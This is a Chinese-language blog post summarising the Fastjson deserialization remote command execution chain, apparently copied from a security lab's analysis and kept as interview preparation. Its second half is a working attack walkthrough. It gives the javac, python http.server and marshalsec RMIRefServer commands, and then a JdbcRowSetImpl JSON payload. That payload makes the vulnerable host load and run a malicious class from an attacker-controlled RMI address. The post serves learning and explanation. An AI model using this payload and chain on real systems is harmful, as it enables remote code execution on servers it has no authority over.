隨記(九):記錄Fastjson遠端命令執行流程

XXR_Beta發表於2020-12-08


摘自:ZE0安全實驗室的一篇分析文章 - 傳送門

我覺得這個解釋非常好,所以藉此文記錄下來。如有冒犯,私信我立即刪除。同時還總結了漏洞利用流程的簡述,像這個問題,在面試過程中也常常會被提及到,鄙人就有幸被提問過一次,模模糊糊的答出個大概來。

0x01 Fastjson遠端命令執行流程

在這裡插入圖片描述
主機A:存在fastjson反序列化漏洞的主機
主機C:為RMI/LDAP服務
主機B:為構造的惡意類(包含要執行的命令)

1、攻擊者使用payload攻擊主機A(該payload需要指定rmi/ldap地址)

2、主機A引發反序列化漏洞,傳送了進行rmi遠端發放呼叫,去連線主機C

3、主機C的rmi服務指定載入主機B的惡意java類,所以主機A通過主機C的rmi服務最終載入並執行主機B的惡意java類

4、主機A引發惡意系統命令執行

0x02 Fastjson漏洞利用流程簡述

1、先利用Python在本地啟動一個HTTP服務,中介軟體隨意,只要可以訪問到我們的惡意JAVA類Exploit.class檔案即可。

2、然後再從本地開啟RMI服務,讓RMI服務指定載入惡意JAVA類。

3、攻擊者使用payload攻擊目標主機(該payload需要指定RMI/LDAP地址)
/* 實戰攻擊流程 */
主機A: http://1.1.1.1:8090 (Fastjson漏洞主機)
主機B: http://2.2.2.2:8888 (惡意java類服務)
主機C: rmi://2.2.2.2:9999 (遠端方法呼叫服務)

1.在本地使用javac命令編譯Exploit.java檔案,生成一個Exploit.class檔案(Exploit檔名不能發生變化)
javac Exploit.java

2.然後再本地利用python啟動一個http服務,中介軟體隨意,但是需要能訪問到Exploit.class檔案。(這裡使用python3臨時啟動一個HTTP服務)
python3 -m http.server --bind 0.0.0.0 8888

3.然後再從本地開啟RMI服務
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://2.2.2.2:8888/#Exploit" 9999

4.接下來就可以傳送payload

{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://2.2.2.2:9999/Exploit",
        "autoCommit":true
    }
}

PS:此時主機A收到POST請求,觸發反序列化漏洞,最終執行 Exploit.class 檔案中的內容

Tips:糾正一個很多文章描述Fastjson漏洞利用的時候的一個錯誤,就是步驟三本地開啟RMI服務時,利用marshalsec-0.0.3-SNAPSHOT-all.jar開啟RMI服務,要讓RMI服務指定載入惡意JAVA類,所以這裡應該是 http://2.2.2.2:8888/#Exploit ,而不是許多文章中提及到的 http://1.1.1.1:8888/#Exploit 。

PS:因自己能力不足,上面的Tips我也不太確定是不是真的是師傅們筆誤了,根據其分析的話,那裡的文章描述應該是錯誤的,望知情人士指點一二。

相關文章